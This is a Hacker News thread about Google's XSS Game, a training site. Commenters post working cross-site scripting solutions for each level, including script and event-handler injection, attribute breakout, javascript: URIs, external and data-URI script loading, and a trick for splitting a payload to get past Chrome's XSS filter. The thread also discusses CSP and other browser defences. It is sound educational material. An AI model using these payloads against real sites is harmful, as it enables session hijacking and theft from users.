Hacker News new | past | comments | ask | show | jobs | submit login
The XSS Game by Google (xss-game.appspot.com)
371 points by artf on Nov 23, 2016 | hide | past | favorite | 90 comments

Solutions: http://pastebin.com/hv0h73eC

I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them.

It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.

I know you posted on pastbin with 'never' for a reason. But incase they ever shut down, here is the text:

  # lvl 1
  Enter `<script>alert('')</script>` into the search box.  
  # lvl 2
  Use the `onclick` attribute of the font tag (hint is from       the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
      <font color="red" onclick="alert('')">blah</font>
  and then click blah after posting the message. (or use   onload etc.)
  # lvl 3
  Modify the URL parameter so that you inject code into the   `<img>` tag:
      https://xss-game.appspot.com/level3/frame#1.jpg'   onclick="alert('')" alt='a picture called 1
  which will render as:
     html += "<img src='/static/level3/cloud/1.jpg'    onclick="alert('')" alt='a picture called 1.jpg'/>";
  on line 17 of the HTML file. Now click on the picture.
  # lvl 4
  Use `3'); alert('` as the value for your timer.
  # lvl 5
  Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use   this as the location that the user is sent to on the signup page. Go the the URL:
      https://xss-game.appspot.com/level5/frame/signup?  next=javascript:alert('')
  and then click the `Next` link.
  # lvl 6
  The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:

  and then go the the url `https://xss-  game.appspot.com/level6/frame#Http://mysite.com/xss.js`
  # Notes
  In an actual attack you'd use onerror or onload everywhere instead of onclick.

Level 6: You can exclude the protocol entirely (eg: "//news.ycombinator.com")

This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https

if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol

or you can simply add a space after #

Level 5:

To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link.

- - -

re: Level 4

Can someone explain how the possible strings break the parseInt()? Source code:

    function startTimer(seconds) {
      seconds = parseInt(seconds) || 3;
      setTimeout(function() { 
        window.confirm("Time is up!");
      }, seconds * 1000);
I tried running parseInt() in the console and just got NaNs for `'+alert()+'` and `3'); alert('`.

On level 3:

will execute on load rather than after user input.

yeah, as the notes say you would use onload IRL.

Some alternatives:

#1 <script>alert()</script> (no need for an empty string)

#4 '+alert()+'

#6 you can also use a protocol-relative url //google.com/jsapi?callback=alert

On 6 you can also just put a space before the URI and it seems to trim the string before loading it.

I just used a data URI for the last one.

For the last one, instead of actually uploading a file, you can just put data:text/javascript,alert('test') after the hash.

Good idea. I solved that one by using a "protocol relative url" (omitting the http[s] part).

This is why you should never embed user created SVGs in your site.

What if they're in an img tag?

Ah I didn't know you could have it without the base64 encoding.

I did basically the same:


These are awesome, thanks.

I did

I didn't know you could do stuff like this (not for XSS)

Cool, you can store a whole website in a URL now.

> Cool, you can store a whole website in a URL now.

As long as it's shorter than ~2000 characters [0]

[0] http://stackoverflow.com/questions/417142/what-is-the-maximu...

Seems like in chrome you can go much higher!

Here is a example of 5M

    data:text/html,<script>window.location='data:text/html,<!--'+new Array(5000001).join('a')+'!--><script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script>
I tried 110Mb and it actually worked as well! I'm not sure about the real limit.

You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.

For level 2, onerror="javascript:alert(0)" a whole lot simpler than your pasted answer.

that didn't work for me. this did: <img onload="javascript:alert(0);" src="http://i.imgur.com/fXYSkbC.gif">

img tags support the onload attribute and is a typical element people use in posts

You used onload, the suggested was onerror,

Maybe it doesn't work because the page is already loaded so the onload is never run.

weird, onerror worked fine for me

    <img src="404me" onerror="alert('test')" />

Instead of "onclick" for the <img> tags, you can bypass the required user interaction and be more brutal using "onerror" e.g. <img onerror="alert('hacked')" url="broken_url">.

I just used the industry standard protocol format in the level 6: `#//xxx.ngrok.io/foo.js`. I thought it was hilarious that they didn't filter that out.

Why does a <script> tag not work in level 2? I can see it ending up in the DOM.

Edit: Ah hah, HTML 5 spec explicitly says <script> tags inserted via innerHTML do not execute (https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerh...).

That probably explains why its also stripped from React's not-so-accurately named "DangerouslySetInnerHTML" method..

Level 3 seems to no longer be exploitable. Firefox 45.5 here automatically %-encodes the characters into the src attribute.

Here's a way to by bypass that- point the FF dev tools soley at the iframe, then use the scratchpad to run the alert. It will accept that and let you move past.

I spent 20 minutes thinking I had something horribly wrong until I read this comment.

(This works in FF 52.0a2)

this app appears to be at least 2.5 years old.

previous hacker news discussion from 2014 about it: https://news.ycombinator.com/item?id=7815237

Thank you. This explains a lot

Even percent-encoding it ends up just including the entire injection as the path (on 50.0). I worked around it for now by editing the element directly in Developer Tools.

You're right. It still works in Chrome though...

If someone has trouble making the exploit work in Chrome: The developer tools replace all ' with " if you inspect the element. Therefore, it misleads you into thinking that the website encloses attributes in " ", whereas instead it is enclosed in ' '.

This did throw me off initially.

I'd like to see the game solutions, I'm new on this and can't pass lv 3.

Firefox breaks lv 3. See my comment below if you'd like to get past that stage.

Had the same problem thinking I must have done something wrong. Found this: https://gist.github.com/pbssubhash/2f99644a4f24e8fe6b3e

Have a look at line 17 of index.html.

These challenges are very easy. Anyone who knows something harder? To my knowledge, it's not easy to find material to study/exploit to get better at XSS'ing.

OverTheWire [0] has been my personal favorite for many years. Some of them are really challenging!


Sure. But I was searching for something XSS specific

I'm quite surprised that these exploits aren't blocked at the browser level by default with developers having to write code to make the exploits work if they need to.

For example, if browsers flatly refused to load code from an external URL unless the address was whitelisted in the page's HTTP response headers then you'd make level 6's exploit impossible without much of an impact on web development.

The CORS header Access-Control-Allow-Origin can be used to force a browser to work that way, but only if a site sets it. I'm suggesting we're at the point now where browsers should be secure by default, even if it breaks some old sites.

So I was trying to accomplish this in Firefox and couldn't get past level 3. Switched to Chrome and the exact same solution worked just fine. Firefox was URL encoding my single and double quotes so I couldn't break out of the string for the image (if that makes sense). Firefox 50 and Chrome 54.0.2840.98

If you look at the source, they're actually disabling the XSS protections in the browser:

# Disable the reflected XSS filter for demonstration purposes

self.response.headers.add_header("X-XSS-Protection", "0")

Chrome's XSS filter can still be circumvented in quite a few instances. The easiest way I've seen is when the attacker controls at least two variables and can split the XSS across them in such a way that neither half appears malicious but when loaded into the page they create a malicious script.

Example: ?a=<script>void('&b=');alert('XSS')</script>

The value of a is <script>void(' and the value of b is ');alert('XSS')</script>.

This is possible with the Content Security Policy header, including automated reports from the browsers when things are blocked. It's hard to implement however since a whitelist of allowed domains can grow very, very large for the average site.

> It's hard to implement however since a whitelist of allowed domains can grow very, very large for the average site.

Exactly. I made a library for that:


Eg if your web app uses embedded Tweets, MixPanel, and GoogleFonts:

    var policy = cspByAPI(basePolicy, ['twitter', 'mixpanel', 'googleFonts' ]);
Ie, the package maintains an up to date list of the image, script, etc sources for all those different embeds, so you only have to specify what your own code needs (that's the basePolicy).

It's for node, but you can easily port it to Elixir or Python or Ruby.

Policies for 16 common CSP embeds are included, please send a pull request to add more.

It isn't on by default for backward compatibility, but such whitelisting is possible today with https://developer.mozilla.org/en-US/docs/Web/Security/CSP

It isn't on by default for backward compatibility

That's the point I'm questioning - I think browsers should block by default and only allow things that are specifically allowed by the CSP (or by CORS).

For better or worse technologists have largely decided that backwards compatibility trumps all unless absolutely necessary. This means ELS for security patches, only non-breaking changes to the web (which is how we ended up with 'use strict' in Javascript), and even if it is "more secure" if it could break some portion of people's websites it must not be done by default, but must be opted into.

I don't personally agree with the decisions - but I can understand why they are made. It's easier to say I'd personally choose to give devs the finger and tell them to fix their code than to actually give devs the finger and tell them to fix/update their code.

>For example, if browsers flatly refused to load code from an external URL unless the address was whitelisted in the page's HTTP response headers

That wouldn't just break some old sites that would break most of them. Most sites use some type of tracking script, jquery or other shared library.

> I'm quite surprised that these exploits aren't blocked at the browser level... I'm suggesting we're at the point now where browsers should be secure by default, even if it breaks some old sites.

Some are. But in general, XSS (especially reflected) are not possible to block exclusively at the browser level.

> For example, if browsers flatly refused to load code from an external URL unless the address was whitelisted in the page's HTTP response headers then you'd make level 6's exploit impossible without much of an impact on web development.

See fastest963's comment.

Note how the server code for at least one level adds a header something like "XSS-Filter: 0", for the browser to not block old attacks.

You would also break ALOT of sites with a requirement like that. Not to mention the millions of people who has a website but has no idea what an HTTP header even is...

Its pretty normal to include external scripts on a website (CDN for dependencies, tracking like google analytics etc)

Level 6 would still be possible using the data uri solution. Not sure how you'd meaningfully secure data uris.

Did someone get why they prompt us to go to https://tools.ietf.org/html/draft-hoehrmann-javascript-schem... ? I didnt get it.

The mechanism next=javascript:alert('') with the column how is it called? Are there exape of using anything other than javascript before column? it was a very great tutorial:)

Got to the first one.

Okay, URL injection, that's easy: <script>alert('hi');</script>

Or not: that didn't work.

I had to remove the semicolon for it to notice my code. At that point I immediately closed the tab.

Do you... realize it's actually a live webpage your testing on? It's not like the server checks to see if you wrote exactly the right answer. It just checks to see if an alert is fired. If it didn't work, it's because you didn't do it right.

<script>alert()</script> most certainly works unless you have noscript.

Yes, but if you try

it doesn't work.

without the semicolon does.

I realize it's JS, but I can see it's just dumbly parsing what I've typed as opposed to eg overloading alert() (which can be done: http://stackoverflow.com/questions/1729501/javascript-overri...) and demonstrating/using best practices in the source code to prevent the JS I type from actually damaging the demo itself.

For something that's really interesting, search Pinterest for "reactjs", and see if you get the "Hack Pinterest" tile as your first result. That was fun to play with!

Open your web inspector, set the console target to the iframe, and type "alert". Notice that the alert function is overridden.

Set your URL to https://xss-game.appspot.com/level1/frame?query=a;b. Notice that the ";b" is removed from the results page.

Challenge your initial assumption about the checker being stupidly naive. Notice XSS bugs in your own code afterwards.

Thanks. I'll admit this is a field I'm completely unfamiliar with. (I was actually considering bug bounty hunting in the future, thanks for the wake up call.)

I actually noticed the ; was being removed and am very confused as to why, but forgot to mention that in my earlier comment.

Full disclosure: I didn't bother to learn about why the ; is being split. But I can hasten a guess: the python web server treats that as a parameter separator.

... and confirmed.

[1] https://www.google.com/webhp?q=webapp.WSGIApplication+semico... [2] https://groups.google.com/forum/#!topic/google-appengine/Aai... [3] https://www.w3.org/TR/REC-html40/appendix/notes.html#h-B.2.2

Ah, I see. That makes perfect sense, thanks for explaining it :)

Hey, I just used this a few weeks ago as I was doing this course on web app security by Troy Hunt[0]

I didn't get far with it because it turns out that some browsers prevent the exploit, like Firefox and Safari.


There will be cake at the end of the test.

The cake is a lie.

There you go...

                                                          +:  +                                                         
                                                          --  :                                                         
                                                          --  o                                                         
                                                          ..  +                                                         
                                                          ::  s        ..`                                              
                                                .:sssso.  --  +     :syhhyo`                                            
                                ..::::.       `odhhyyhdd. ::  s    .mhhyhhdh.       -:...`                              
                               /dhhhhhhs     .odddhyhdddh+y:  my-syhdhhyhhddy/`   .odhyyhh:                             
                              yNdhyyoyhmo+::+ms/+++//++/odm:  NNmNd+///+++/+ody::omhyssyhdm-                            
                            -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`                          
                                                    `-.-. .------.                                 

You have successfully completed the game!

Ceci n'est pas une pipe.

c'est quoi alors ?

notre fin

                          `-oɯɥʎʎʎʎʎɥpuuuuɯɯɥɥʎʎssʎɥpɯpɯpp` :pppɥʎʎʎʎʎʎɥpɯɯɯɯɯɯooʎʎʎʎʎʎʎpps-                            
                            -ɯpɥʎssʎɥɯo::ʎpo+/+++///+puɯuu  :ɯpo/++//+++/sɯ+::+oɯɥʎoʎʎɥpuʎ                              
                             :ɥɥʎʎɥpo˙   `/ʎppɥɥʎɥɥpɥʎs-ʎɯ  :ʎ+ɥpppɥʎɥpppo˙     sɥɥɥɥɥɥp/                               
                              `˙˙˙:-       ˙ɥpɥɥʎɥɥɯ˙    s  :: ˙ppɥʎʎɥɥpo`       ˙::::˙˙                                
                                            `oʎɥɥʎs:     +  --  ˙ossss:˙                                                
                                              `˙˙        s  ::                                                          
                                                         +  ˙˙                                                          
                                                         o  --                                                          
                                                         :  --                                                          
                                                         +  :+                                                          

Pas mal, j'imagine que tu as fait un script pour renverser le truc..

I made it past level 2 but I am curious why the second hint is true. Can anyone provide some insights?

I think it's because the <script> tag gets inserted after the page loads, which browsers won't execute automatically.

Some of these exploits won't work on firefox or I am not sure how to do it. For example I can't get firefox to execute code on images.

You can try turning off JavaScript Xss filtering in Firefox, via about:config --> browser.urlbar.filter.javascript

Thanks, I spend an way too much time with that. In case any one is using firefox make sure to turn this stuff off.

BTW why doesn't chrome also filter this. I can't think of a good reason why there is a legit reason to do some of this stuff.

I'll always love stuff like this, such a fun way to practice without the pressure of finding something to report on.

I just call alert('dada') from the console, and it tells me congratulation the site is buggy as well

The victim of your XSS attack will not use the console, so when creating a XSS attack it shouldn't require the use of the console to activate it.

I can break any website for myself by putting stuff in the console.

Kinda not within the spirit of the exercise don't you think.

It was fun the few minutes it lasted. :)

on level 4 try: https://xss-game.appspot.com/level4/frame?timer=%99 and you get: 500 internal server error LOL

That was fun, but a bit too easy ;)

Well that was fun

I don't know, not being able to pass lvl1 with "<script>alert();" made me not want to continue...

Because you end up with:

    Sorry, no results were found for <b><script>alert();</b>.
which is a syntax error. You need the closing </script>.

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact